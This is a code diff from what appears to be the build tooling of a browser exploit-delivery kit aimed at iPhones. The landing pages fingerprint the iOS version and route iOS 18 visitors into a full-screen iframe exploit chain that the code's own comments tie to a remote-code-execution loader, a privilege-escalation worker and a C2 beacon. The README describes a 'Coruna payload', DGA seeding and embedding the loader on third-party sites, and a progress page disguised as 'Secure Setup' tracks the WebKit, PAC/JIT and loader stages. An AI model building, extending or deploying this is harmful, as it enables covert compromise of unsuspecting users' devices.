-      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
-    }
-    return m[1].split('_').map(function (p) {
-      return parseInt(p, 10);
-    });
-  }
-
-  var ios = parseIosVersion();
-  if (!ios || ios[0] < 18) {
-    var s = document.createElement('script');
-    s.src = 'index.js?' + Date.now();
-    (document.body || document.documentElement).appendChild(s);
-    return;
-  }
-  if (ios[0] === 18) {
-    var channelCode = '';
-    try {
-      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
-      if (m && m[1]) channelCode = m[1].toUpperCase();
-    } catch (eC) {}
-    var dsDomain = '__DS_DOMAIN__';
-    var dsUrl = dsDomain + '/next-chain/frame.html';
-    if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
-    var ifr = document.createElement('iframe');
-    ifr.src = dsUrl;
-    ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
-    (document.body || document.documentElement).appendChild(ifr);
-  }
-})();
-  </script>
   <script>
     (function () {
       var TOTAL = 15;

channel-builder-new/source/weifile/weifile.html

@@ -5,53 +5,8 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>weifile</title>
-<script src="/t.js" defer></script>
 </head>
 <body>
-<script type="text/javascript">
+<script src="index.js"></script>
-(function () {
-  function parseIosVersion() {
-    var ua = navigator.userAgent || '';
-    var m = /iPhone OS ([0-9_]+)/.exec(ua);
-    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
-    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
-    if (!m) {
-      m = /Version\/(\d+)\.(\d+)/.exec(ua);
-      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
-    }
-    return m[1].split('_').map(function (p) {
-      return parseInt(p, 10);
-    });
-  }
-
-  var ios = parseIosVersion();
-  if (!ios || ios[0] < 18) {
-    // Below iOS 18: non-DS chain (index.js).
-    var s = document.createElement('script');
-    s.src = 'index.js?' + Date.now();
-    (document.body || document.documentElement).appendChild(s);
-    return;
-  }
-  if (ios[0] === 18) {
-    // iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
-    // Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
-    // so rce_loader.js can forward it through the exploit chain to pe_worker.js,
-    // which includes it in the C2 beacon for channel attribution.
-    var channelCode = '';
-    try {
-      var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
-      if (m && m[1]) channelCode = m[1].toUpperCase();
-    } catch (eC) {}
-    var dsDomain = '__DS_DOMAIN__';
-    var dsUrl = dsDomain + '/next-chain/frame.html';
-    if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
-    var ifr = document.createElement('iframe');
-    ifr.src = dsUrl;
-    ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
-    (document.body || document.documentElement).appendChild(ifr);
-  }
-  // iOS 19+ / 26+: no action.
-})();
-</script>
 </body>
 </html>

channel-builder-new/tools/pack_channel.py

@@ -8,7 +8,7 @@ Requires `tools/build.py --apply` first (shared staged weifile + public/details)
   3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
   4. Rewrite show.html asset URLs to /channel/{ver}/details/...
   5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
-  6. Strip iptj beacon from index.js; inject t.js into weifile.html
+  6. Strip iptj beacon from payload; install script-embed index.js boot
   7. Write to {artifact-root}/channel/{ver}/
 """
 
@@ -19,10 +19,16 @@ import hashlib
 import json
 import re
 import shutil
+import sys
 import tempfile
 from pathlib import Path
 
 import build as xxbb_build
+
+_EMBED_DIR = Path(__file__).resolve().parents[2] / "channel-embed"
+if str(_EMBED_DIR) not in sys.path:
+    sys.path.insert(0, str(_EMBED_DIR))
+from embed_boot import apply_embed_boot  # noqa: E402
 from _details_pack import extract_member, make_passworded_7z
 from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
 
@@ -209,7 +215,7 @@ def apply_landing_template(weifile_dir: Path, template: str) -> Path:
     if not src.is_file():
         raise SystemExit(f"missing landing template: {src}")
     dest = weifile_dir / "weifile.html"
-    dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8")
+    dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
     return dest
 
 
@@ -285,6 +291,11 @@ def pack_channel(
         leftover_route = weifile_dest / "route.js"
         if leftover_route.is_file():
             leftover_route.unlink()
+        apply_embed_boot(
+            weifile_dest,
+            channel_code=ver,
+            ds_domain=ds_domain,
+        )
 
         if channel_out.exists():
             shutil.rmtree(channel_out)

channel-builder-new/tools/tests/test_build.py

@@ -86,10 +86,10 @@ class XxbbBuildTest(unittest.TestCase):
             self.assertFalse((weifile / "route.js").is_file())
             html = (weifile / "weifile.html").read_text(encoding="utf-8")
             self.assertNotIn("__CHANNEL_C__", html)
-            self.assertIn('src="/t.js"', html)
+            self.assertNotIn('src="/t.js"', html)
             self.assertNotIn('src="route.js"', html)
-            self.assertIn("/next-chain/frame.html", html)
+            self.assertNotIn("/next-chain/frame.html", html)
-            self.assertIn("index.js", html)
+            self.assertIn('src="index.js"', html)
             self.assertNotIn("config.js", html)
             self.assertNotIn("boot.js", html)
             self.assertNotIn("holdFresh", html)
@@ -327,11 +327,10 @@ class XxbbBuildTest(unittest.TestCase):
         self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
         for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
             landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
-            self.assertIn('src="/t.js"', landing)
+            self.assertIn('src="index.js"', landing)
-            self.assertEqual(pack_channel.inject_tjs(landing), landing)
+            self.assertNotIn('src="/t.js"', landing)
             self.assertNotIn('src="route.js"', landing)
-            self.assertIn("/next-chain/frame.html", landing)
+            self.assertNotIn("/next-chain/frame.html", landing)
-            self.assertIn("index.js", landing)
             self.assertNotIn("config.js", landing)
             self.assertNotIn("boot.js", landing)
             self.assertNotIn("holdFresh", landing)

channel-builder/README.md

@@ -12,3 +12,14 @@ python3 -m venv .venv
 ```
 
 Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
+
+Published `web/<id>/index.js` is the shared boot (iOS router + `/t.js`). The Coruna payload is `payload.js`. Third-party sites can unzip the admin「浏览器资源 zip」to their docroot and include `<script src="./index.js"></script>`.
+
+Rebuild existing old channels (same 32-hex id; DGA seed from `CORUNA_CHANNEL_SEED`):
+
+```bash
+php artisan coruna:repack              # all builder_type=old
+php artisan coruna:repack <32-hex>     # one
+php artisan coruna:repack --dry-run
+php artisan coruna:repack --template=test
+```

channel-builder/source/templates/support/README.md

@@ -1,10 +1,14 @@
 # support.html templates
 
-Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
+Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
 
 | Name | Source | Description |
 |------|--------|-------------|
-| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
+| `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
-| `blank` | `blank.html` | Loader scripts only, no HUD UI |
+| `test` | `test.html` | Lab HUD + the same `index.js` |
 
-Default is `test`.
+Both iframe landing and third-party `<script src="./index.js">` share that boot:
+
+- iOS < 18 / unknown: load same-directory `payload.js`
+- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
+- iOS 19+ / 26+: no action

channel-builder/source/templates/support/test.html

@@ -0,0 +1,588 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="utf-8" />
+<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
+<meta http-equiv="Pragma" content="no-cache" />
+<meta http-equiv="Expires" content="0" />
+<meta property="og:determiner" content="auto" />
+<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
+<title>Preparing…</title>
+<style>
+  @import url("https://fonts.googleapis.com/css2?family=Outfit:wght@400;500;600;700&family=Sora:wght@600;700&display=swap");
+  :root {
+    --bg0: #e8f1f7;
+    --bg1: #f7fbfc;
+    --ink: #123047;
+    --muted: #5a7388;
+    --line: #c5d6e4;
+    --card: rgba(255, 255, 255, 0.72);
+    --accent: #0b7ea4;
+    --run: #c98512;
+    --ok: #1f8a55;
+    --bad: #c23b3b;
+    --ring-size: min(72vw, 280px);
+  }
+  * { box-sizing: border-box; }
+  html, body {
+    margin: 0; min-height: 100%;
+    color: var(--ink);
+    font: 15px/1.45 Outfit, "Segoe UI", sans-serif;
+    background:
+      radial-gradient(120% 80% at 50% -10%, #cfe6f3 0%, transparent 55%),
+      linear-gradient(180deg, var(--bg0), var(--bg1) 48%, #eef5f9);
+  }
+  #lab-hud {
+    position: relative; z-index: 2147483000;
+    min-height: 100dvh;
+    display: flex; flex-direction: column; align-items: center;
+    justify-content: center;
+    padding: max(24px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
+    gap: 28px;
+  }
+  .brand {
+    font-family: Sora, Outfit, sans-serif;
+    font-size: 13px; font-weight: 700; letter-spacing: .14em;
+    text-transform: uppercase; color: var(--muted);
+  }
+  .ring-wrap {
+    position: relative;
+    width: var(--ring-size); height: var(--ring-size);
+    filter: drop-shadow(0 18px 40px rgba(11, 126, 164, .16));
+  }
+  .ring-wrap svg { width: 100%; height: 100%; display: block; transform: rotate(-90deg); }
+  .ring-bg { fill: none; stroke: #d5e5ef; stroke-width: 8; }
+  .ring-fg {
+    fill: none; stroke: var(--accent); stroke-width: 8;
+    stroke-linecap: round;
+    stroke-dasharray: 339.292; stroke-dashoffset: 0;
+    transition: stroke .25s ease;
+  }
+  .ring-wrap.is-run .ring-fg { stroke: var(--run); }
+  .ring-wrap.is-ok .ring-fg { stroke: var(--ok); }
+  .ring-wrap.is-bad .ring-fg { stroke: var(--bad); }
+  .ring-wrap.is-ticking .count {
+    animation: count-beat 1s ease-in-out infinite;
+  }
+  @keyframes count-beat {
+    0%, 100% { transform: scale(1); opacity: 1; }
+    50% { transform: scale(1.04); opacity: .88; }
+  }
+  .ring-center {
+    position: absolute; inset: 0;
+    display: flex; flex-direction: column; align-items: center; justify-content: center;
+    text-align: center; padding: 18px;
+  }
+  .count {
+    font-family: Sora, Outfit, sans-serif;
+    font-size: clamp(52px, 16vw, 72px);
+    font-weight: 700; line-height: 1; letter-spacing: -.03em;
+    font-variant-numeric: tabular-nums;
+  }
+  .count-unit {
+    margin-top: 2px; font-size: 12px; font-weight: 600;
+    letter-spacing: .12em; text-transform: uppercase; color: var(--muted);
+  }
+  #lab-status {
+    margin-top: 10px; max-width: 18ch;
+    font-size: 13px; font-weight: 500; color: var(--muted);
+  }
+  .progress-panel {
+    width: min(920px, 100%);
+    background: var(--card);
+    border: 1px solid rgba(197, 214, 228, .85);
+    border-radius: 20px;
+    padding: 18px 16px 16px;
+    backdrop-filter: blur(10px);
+    box-shadow: 0 10px 30px rgba(18, 48, 71, .06);
+  }
+  .bar {
+    height: 6px; border-radius: 999px; background: #e1ebf2; overflow: hidden;
+  }
+  .bar > i {
+    display: block; height: 100%; width: 0;
+    border-radius: inherit;
+    background: linear-gradient(90deg, #0b7ea4, #1f8a55);
+    transition: width .4s ease;
+  }
+  .steps {
+    list-style: none; margin: 16px 0 0; padding: 0;
+    display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px;
+  }
+  .step {
+    position: relative;
+    display: flex; flex-direction: column; align-items: center; gap: 8px;
+    text-align: center; min-width: 0;
+  }
+  .step:not(:last-child)::after {
+    content: "";
+    position: absolute; top: 13px; left: calc(50% + 16px); right: calc(-50% + 16px);
+    height: 2px; background: var(--line); z-index: 0;
+    transition: background .3s ease;
+  }
+  .step.is-ok:not(:last-child)::after,
+  .step.is-run:not(:last-child)::after { background: rgba(11, 126, 164, .45); }
+  .dot {
+    position: relative; z-index: 1;
+    width: 28px; height: 28px; border-radius: 50%;
+    display: grid; place-items: center;
+    font-size: 11px; font-weight: 700;
+    color: var(--muted); background: #fff;
+    border: 2px solid var(--line);
+    transition: background .25s ease, border-color .25s ease, color .25s ease, transform .25s ease;
+  }
+  .step .label {
+    font-size: 11px; font-weight: 600; letter-spacing: .04em;
+    text-transform: uppercase; color: var(--muted);
+  }
+  .step .file {
+    font-size: 10px; color: #8aa0b3; max-width: 100%;
+    overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
+  }
+  .step.is-run .dot {
+    color: #fff; background: var(--run); border-color: var(--run);
+    transform: scale(1.06);
+    animation: pulse 1.2s ease-in-out infinite;
+  }
+  .step.is-run .label { color: var(--run); }
+  .step.is-ok .dot { color: #fff; background: var(--ok); border-color: var(--ok); }
+  .step.is-ok .label { color: var(--ok); }
+  .step.is-bad .dot { color: #fff; background: var(--bad); border-color: var(--bad); }
+  .step.is-bad .label { color: var(--bad); }
+  .step.is-ok .file, .step.is-run .file { color: var(--ink); }
+  /* idle / not-yet-run: muted gray only */
+  .step:not(.is-ok):not(.is-run):not(.is-bad) .dot {
+    color: var(--muted); background: #fff; border-color: var(--line);
+  }
+  .step:not(.is-ok):not(.is-run):not(.is-bad) .label { color: var(--muted); }
+  .device-model {
+    font-size: 13px; font-weight: 500; color: var(--muted);
+    letter-spacing: .02em;
+  }
+  @keyframes pulse {
+    0%, 100% { box-shadow: 0 0 0 0 rgba(201, 133, 18, .35); }
+    50% { box-shadow: 0 0 0 8px rgba(201, 133, 18, 0); }
+  }
+  @media (prefers-reduced-motion: reduce) {
+    .ring-fg, .bar > i, .dot { transition: none; }
+    .step.is-run .dot { animation: none; }
+    .ring-wrap.is-ticking .count { animation: none; }
+  }
+</style>
+</head>
+<body>
+<div id="lab-hud">
+  <div class="brand">Secure Setup</div>
+
+  <div class="ring-wrap is-run" id="lab-ring-wrap">
+    <svg viewBox="0 0 120 120" aria-hidden="true">
+      <circle class="ring-bg" cx="60" cy="60" r="54"></circle>
+      <circle class="ring-fg" id="lab-ring" cx="60" cy="60" r="54"></circle>
+    </svg>
+    <div class="ring-center">
+      <div class="count" id="lab-count">15</div>
+      <div class="count-unit">sec</div>
+      <div id="lab-status">Starting…</div>
+    </div>
+  </div>
+
+  <div class="progress-panel">
+    <div class="bar"><i id="lab-bar"></i></div>
+    <ol class="steps">
+      <li class="step" data-stage="1" id="lab-s1">
+        <span class="dot">1</span>
+        <span class="label">WebKit</span>
+        <span class="file" id="lab-f1">stage1</span>
+      </li>
+      <li class="step" data-stage="2" id="lab-s2">
+        <span class="dot">2</span>
+        <span class="label">PAC / JIT</span>
+        <span class="file" id="lab-f2">stage2</span>
+      </li>
+      <li class="step" data-stage="3" id="lab-s3">
+        <span class="dot">3</span>
+        <span class="label">Loader</span>
+        <span class="file" id="lab-f3">stage3</span>
+      </li>
+      <li class="step" data-stage="ok" id="lab-sok">
+        <span class="dot">✓</span>
+        <span class="label">Success</span>
+        <span class="file" id="lab-fok">e=0</span>
+      </li>
+    </ol>
+  </div>
+
+  <div class="device-model" id="lab-model">—</div>
+</div>
+<script type="text/javascript">
+(function () {
+  var STAGE_MAP = {
+    "98f0c8fb182309faa687aa849e92d0ac5f93af7d": { stage: 1, label: "jacurutu" },
+    "700491384cc59bd25c3aa4dd670c8660963bffe3": { stage: 1, label: "bluebird" },
+    "3c04ae31f9ba8f809b275be4b3fa93deb558902c": { stage: 1, label: "terrorbird" },
+    "1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf": { stage: 1, label: "cassowary" },
+    "40a27e7916aa554e6d38d39beb6bb7ee095692ed": { stage: 1, label: "buffout" },
+    "9075c25766e57019db4c86fac179b03ebf1b56e5": { stage: 2, label: "breezy" },
+    "b099ff22b5c8e65654744fd307d81ad208009103": { stage: 2, label: "breezy15" },
+    "651774047bf8d72258a5f04785c9dabf5e793670": { stage: 2, label: "seedbell_pre" },
+    "291b914c574e1196039313595217367c44cca436": { stage: 2, label: "seedbell_16.6" },
+    "0f2be2a4e0ab7e60b6ce550692996d079a5769a0": { stage: 2, label: "seedbell_17" },
+    "0c297489d8c9d5470bfce17b0d99da3338b44a18": { stage: 3, label: "VariantA" },
+    "9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f": { stage: 3, label: "VariantB" },
+    "ad970e88980634bcb2eda0c998a27881686dd29e": { stage: 0, label: "beacon/manifest" }
+  };
+  var PRIMARY = {
+    "6539c1e0dc731ea7c7011af236cc7c2871af7c40": "0xf290",
+    "054bcb73ce2a3023b3813f5be12d0b6ffd6e7611": "0xf230",
+    "e406714e92671b5218496fcb6666734411cb2320": "0xf330",
+    "694c829e379e12085de6158b85f32509f54f4796": "0xf240",
+    "3b0133801a3f844e7ebafa0363f2423a50005b72": "0xf340",
+    "6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca": "0xf270",
+    "eb3e81b54e8763bfe505e7a18be8f5fd828a76f6": "0xf370",
+    "6bbb364c8a423374d42a2cbc45c0dee84e7dc710": "0xf280",
+    "99010a27e08b3312650c8d9f321958433e577a30": "0xf380",
+    "c9118a62558ed444a64c2dfe350c6c57fa277a3a": "0xf390",
+    "076de672aebfc78137aa863e51ff3d8980dcdd10": "0xf373",
+    "62415a3d105a8c40c41b19cf456e8474fe441359": "0xf383",
+    "a5847c3e2e439e2f7c4b1582932cf81a06100981": "0xf275",
+    "f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a": "0xf375"
+  };
+  var SECONDARY = {
+    "65704c0722165a7bdedad3f3f61258b2f95470f6": "groupA",
+    "7f208248c748f97956fe4a7cf246c91235852e67": "groupB",
+    "039c68f0ca742a85e94516818385a9eca2e204d8": "sec",
+    "1d0df5a0a12a20aa8b0c8aeb660742268f311d19": "sec",
+    "242a0afb1d88b83e9a1a5b570fed6778def892fc": "sec",
+    "347367155da44f3efcc9053337913061079610b9": "sec",
+    "630c2b42300333d91588353d43afab9ec8325e09": "sec",
+    "6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": "sec",
+    "743312cafb58176af57b89098d94dca1c60f8d1e": "sec",
+    "7cb20652ef7156e931f894dd3d99f24601b80368": "sec"
+  };
+
+  var state = { 1: "idle", 2: "idle", 3: "idle", p: "idle", s: "idle", ok: "idle" };
+  var files = { 1: null, 2: null, 3: null, p: null, s: null };
+  var statusEl = document.getElementById("lab-status");
+  var barEl = document.getElementById("lab-bar");
+  var ringEl = document.getElementById("lab-ring");
+  var ringWrap = document.getElementById("lab-ring-wrap");
+  var countEl = document.getElementById("lab-count");
+  var modelEl = document.getElementById("lab-model");
+  var CIRC = 2 * Math.PI * 54;
+  var TOTAL_SEC = 15;
+  var startedAt = Date.now();
+  var remain = TOTAL_SEC;
+  var finished = false;
+  var failed = false;
+  var tickTimer = null;
+
+  ringEl.style.strokeDasharray = String(CIRC);
+  ringEl.style.strokeDashoffset = "0";
+  ringWrap.classList.add("is-ticking");
+
+  function log() {}
+
+  function setStepUi(n, kind) {
+    var id = n === "ok" ? "lab-sok" : ("lab-s" + n);
+    var el = document.getElementById(id);
+    if (!el) return;
+    // Success node is never painted red — stays gray until real success (green ✓).
+    if (n === "ok" && kind === "bad") kind = "idle";
+    el.classList.remove("is-run", "is-ok", "is-bad");
+    if (kind === "run" || kind === "ok" || kind === "bad") el.classList.add("is-" + kind);
+    var dot = el.querySelector(".dot");
+    if (dot) {
+      if (kind === "ok") {
+        dot.textContent = "✓";
+      } else if (n === "ok") {
+        dot.textContent = "✓";
+      } else if (n === 1 || n === 2 || n === 3) {
+        if (kind !== "ok") dot.textContent = String(n);
+      }
+    }
+  }
+
+  function ringTone() {
+    ringWrap.classList.remove("is-run", "is-ok", "is-bad");
+    if (failed) ringWrap.classList.add("is-bad");
+    else if (finished || state.ok === "ok") ringWrap.classList.add("is-ok");
+    else ringWrap.classList.add("is-run");
+  }
+
+  function paintCountdown() {
+    var elapsed = (Date.now() - startedAt) / 1000;
+    remain = Math.max(0, TOTAL_SEC - elapsed);
+    var pct = Math.max(0, Math.min(1, remain / TOTAL_SEC));
+    ringEl.style.strokeDashoffset = String(CIRC * (1 - pct));
+    countEl.textContent = String(Math.max(0, Math.ceil(remain)));
+    if (remain <= 0) ringWrap.classList.remove("is-ticking");
+    else ringWrap.classList.add("is-ticking");
+    ringTone();
+  }
+
+  function refreshBar() {
+    var score = 0;
+    if (state[1] === "ok") score += 1;
+    if (state[2] === "ok") score += 1;
+    if (state[3] === "ok") score += 1;
+    if (state.p === "ok") score += 0.35;
+    if (state.s === "ok") score += 0.35;
+    if (state.ok === "ok") score = 4;
+    if (!finished && (state[1] === "run" || state[2] === "run" || state[3] === "run" ||
+        state.p === "run" || state.s === "run")) score += 0.2;
+    barEl.style.width = Math.min(100, (score / 4) * 100) + "%";
+  }
+
+  function setStage(n, kind, file, label) {
+    if (!(n in state) && n !== "ok") return;
+    if (state[n] === "ok" && kind === "run") return;
+    // After e=0 success, ignore later pack noise that would re-color stages.
+    if (finished && n !== "ok" && kind !== "ok") return;
+    state[n] = kind;
+    if (file && n !== "ok") {
+      files[n] = file;
+      if (n === 1 || n === 2 || n === 3) {
+        var fe = document.getElementById("lab-f" + n);
+        if (fe) fe.textContent = (label ? label + " · " : "") + String(file).slice(0, 12) + "…";
+      }
+      // Pack progress belongs under Success, not Stage3.
+      if ((n === "p" || n === "s") && !finished) {
+        var fok = document.getElementById("lab-fok");
+        if (fok) fok.textContent = (label || n) + " · " + String(file).slice(0, 10) + "…";
+      }
+    }
+    if (n === 1 || n === 2 || n === 3 || n === "ok") setStepUi(n, kind);
+    refreshBar();
+    var name = n === "p" ? "primary" : n === "s" ? "secondary" : n === "ok" ? "success" : ("stage " + n);
+    if (finished && n !== "ok") return;
+    if (kind === "ok") statusEl.textContent = name + " ready";
+    if (kind === "bad") {
+      failed = true;
+      statusEl.textContent = name + " failed";
+      ringTone();
+    }
+    if (kind === "run") statusEl.textContent = "Loading " + name + "…";
+  }
+
+  function markSuccess() {
+    finished = true;
+    failed = false;
+    // e=0 proves the browser chain finished — light prior stages if they ran or were skipped in HUD.
+    [1, 2, 3].forEach(function (n) {
+      if (state[n] !== "bad") setStepUi(n, "ok");
+      if (state[n] === "idle" || state[n] === "run") state[n] = "ok";
+    });
+    if (state.p === "run") state.p = "ok";
+    if (state.s === "run" || state.s === "idle") state.s = "ok";
+    state.ok = "ok";
+    setStepUi("ok", "ok");
+    var fok = document.getElementById("lab-fok");
+    if (fok) fok.textContent = "e=0";
+    statusEl.textContent = "Complete";
+    document.title = "Ready";
+    barEl.style.width = "100%";
+    ringTone();
+  }
+
+  function explainE(code) {
+    if (code === "0") return "ok";
+    if (code === "1000") return "exception";
+    if (code === "1001") return "unsupported";
+    if (code === "1002") return "stage3/native fail";
+    if (code === "1003") return "gate fail";
+    return "";
+  }
+
+  function isResultBeacon(url) {
+    var s = String(url);
+    if (!/[?&]e=\d+/.test(s)) return false;
+    if (/ad970e88980634bcb2eda0c998a27881686dd29e\.min\.js/i.test(s)) return true;
+    if (/\/\?e=\d+/.test(s) || /\/\?[^#]*[?&]e=\d+/.test(s)) return true;
+    try {
+      var u = new URL(s, location.href);
+      var path = u.pathname || "";
+      if (/\/$/.test(path) && u.searchParams.has("e")) return true;
+      if (!/\.js$/i.test(path) && u.searchParams.has("e")) return true;
+    } catch (err) {}
+    return false;
+  }
+
+  function onBeacon(url, ok) {
+    if (!isResultBeacon(url)) return false;
+    var em = String(url).match(/[?&]e=(\d+)/);
+    if (!em) return false;
+    var code = em[1];
+    var note = explainE(code);
+    statusEl.textContent = "result e=" + code + (note ? " (" + note + ")" : "");
+    log((ok ? "beacon " : "beacon fail ") + "e=" + code + (note ? " " + note : "") +
+      " · " + String(url).replace(/^https?:\/\/[^/]+/, ""));
+    if (code === "0") {
+      // Real traffic often beacons e=0 before secondary XHR is observed; e=0 is definitive.
+      [1, 2, 3, "p", "s"].forEach(function (n) {
+        if (state[n] !== "bad") setStage(n, "ok", files[n], null);
+      });
+      markSuccess();
+    } else if (code === "1002" || code === "1000") {
+      if (state.s === "idle") setStage("s", "bad", files.s, "no handoff");
+      failed = true;
+      setStepUi("ok", "idle");
+      var fok = document.getElementById("lab-fok");
+      if (fok) fok.textContent = "e=" + code;
+      ringTone();
+    } else {
+      failed = true;
+      setStepUi("ok", "idle");
+      var fok2 = document.getElementById("lab-fok");
+      if (fok2) fok2.textContent = "e=" + code;
+      ringTone();
+    }
+    return true;
+  }
+
+  function deviceModel() {
+    var ua = navigator.userAgent || "";
+    var plat = navigator.platform || "";
+    var ios = ua.match(/OS (\d+)[._](\d+)(?:[._](\d+))?/);
+    var mac = ua.match(/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/);
+    var name = /iPhone/i.test(ua) || /iPhone/i.test(plat)
+      ? "iPhone"
+      : /iPad/i.test(ua) || /iPad/i.test(plat)
+        ? "iPad"
+        : /Macintosh|Mac OS X/i.test(ua)
+          ? "Mac"
+          : (plat || "Device");
+    var ver = ios
+      ? "iOS " + ios[1] + "." + ios[2] + (ios[3] ? "." + ios[3] : "")
+      : mac
+        ? "macOS " + mac[1] + "." + mac[2] + (mac[3] ? "." + mac[3] : "")
+        : "";
+    return ver ? name + " · " + ver : name;
+  }
+
+  function fillModel() {
+    modelEl.textContent = deviceModel();
+  }
+
+  function classify(url) {
+    if (!url) return null;
+    var s = String(url);
+    if (isResultBeacon(s)) return { kind: "beacon", url: s };
+    var min = s.match(/([0-9a-f]{40})\.min\.js/i);
+    if (min) {
+      var sh = min[1].toLowerCase();
+      if (SECONDARY[sh]) return { kind: "secondary", hash: sh, label: SECONDARY[sh] };
+      if (PRIMARY[sh]) return { kind: "primary", hash: sh, label: PRIMARY[sh] };
+      return { kind: "secondary", hash: sh, label: "min.js" };
+    }
+    var m = s.match(/([0-9a-f]{40})\.js/i);
+    if (!m) return null;
+    var hash = m[1].toLowerCase();
+    if (PRIMARY[hash]) return { kind: "primary", hash: hash, label: PRIMARY[hash] };
+    if (SECONDARY[hash]) return { kind: "secondary", hash: hash, label: SECONDARY[hash] };
+    var info = STAGE_MAP[hash];
+    if (info) return { kind: "stage", stage: info.stage, hash: hash, label: info.label };
+    return null;
+  }
+
+  function onModule(url, ok) {
+    var hit = classify(url);
+    if (!hit) return;
+    if (hit.kind === "beacon") {
+      onBeacon(url, ok);
+      return;
+    }
+    if (hit.kind === "primary") {
+      setStage("p", ok ? "ok" : "bad", hit.hash, hit.label);
+      log((ok ? "primary ok " : "primary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
+      return;
+    }
+    if (hit.kind === "secondary") {
+      setStage("s", ok ? "ok" : "bad", hit.hash, hit.label);
+      log((ok ? "secondary ok " : "secondary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
+      if (ok && !finished) statusEl.textContent = "Secondary ready · waiting e=";
+      return;
+    }
+    if (hit.kind === "stage") {
+      if (hit.stage === 0) {
+        log((ok ? "offsets/manifest ok " : "offsets/manifest fail ") + hit.hash.slice(0, 12));
+        onBeacon(url, ok);
+        return;
+      }
+      setStage(hit.stage, ok ? "ok" : "bad", hit.hash, hit.label);
+      log((ok ? "loaded " : "failed ") + "stage" + hit.stage + " " + hit.label +
+        " (" + hit.hash.slice(0, 12) + ")");
+      if (ok && hit.stage === 2 && state[1] === "idle") setStage(1, "ok", files[1], null);
+      if (ok && hit.stage === 3) {
+        if (state[1] === "idle") setStage(1, "ok", files[1], null);
+        if (state[2] === "idle") setStage(2, "ok", files[2], null);
+      }
+    }
+  }
+
+  var XO = XMLHttpRequest.prototype.open;
+  var XS = XMLHttpRequest.prototype.send;
+  XMLHttpRequest.prototype.open = function (method, url) {
+    this.__labUrl = url;
+    var hit = classify(url);
+    if (hit) {
+      if (hit.kind === "beacon") statusEl.textContent = "Finishing…";
+      else if (hit.kind === "primary") setStage("p", "run", hit.hash, hit.label);
+      else if (hit.kind === "secondary") setStage("s", "run", hit.hash, hit.label);
+      else if (hit.kind === "stage" && hit.stage >= 1) setStage(hit.stage, "run", hit.hash, hit.label);
+    }
+    return XO.apply(this, arguments);
+  };
+  XMLHttpRequest.prototype.send = function () {
+    var xhr = this;
+    xhr.addEventListener("loadend", function () {
+      var ok = xhr.status === 200 || xhr.status === 0;
+      if (xhr.status === 0 && xhr.response != null) ok = true;
+      if (xhr.status >= 400) ok = false;
+      var u = xhr.__labUrl;
+      if (u && isResultBeacon(u)) {
+        onBeacon(u, true);
+        return;
+      }
+      onModule(u, ok && xhr.status !== 404);
+    });
+    return XS.apply(this, arguments);
+  };
+
+  var armed = false;
+  setInterval(function () {
+    // e=0 may land before secondary is requested; never fail packs after success.
+    if (finished || state.ok === "ok") return;
+    if (state.p === "ok" && state.s === "idle") {
+      if (!armed) {
+        armed = true;
+        setTimeout(function () {
+          if (finished || state.ok === "ok") return;
+          if (state.p === "ok" && state.s === "idle") {
+            setStage("s", "bad", null, "no request");
+            statusEl.textContent = "Primary ok · secondary never requested";
+            log("timeout · no secondary .min.js after primary");
+          }
+        }, 4000);
+      }
+    }
+  }, 500);
+
+  // Independent of stage success/fail — always ticks until 15s elapses.
+  tickTimer = setInterval(function () {
+    paintCountdown();
+    if (remain <= 0) {
+      clearInterval(tickTimer);
+      tickTimer = null;
+      ringWrap.classList.remove("is-ticking");
+    }
+  }, 200);
+
+  fillModel();
+  paintCountdown();
+  statusEl.textContent = "Preparing stages…";
+  window.__labHud = { setStage: setStage, state: state, markSuccess: markSuccess };
+})();
+</script>
+<script src="index.js"></script>
+</body>
+</html>

channel-builder/tools/new_project.py

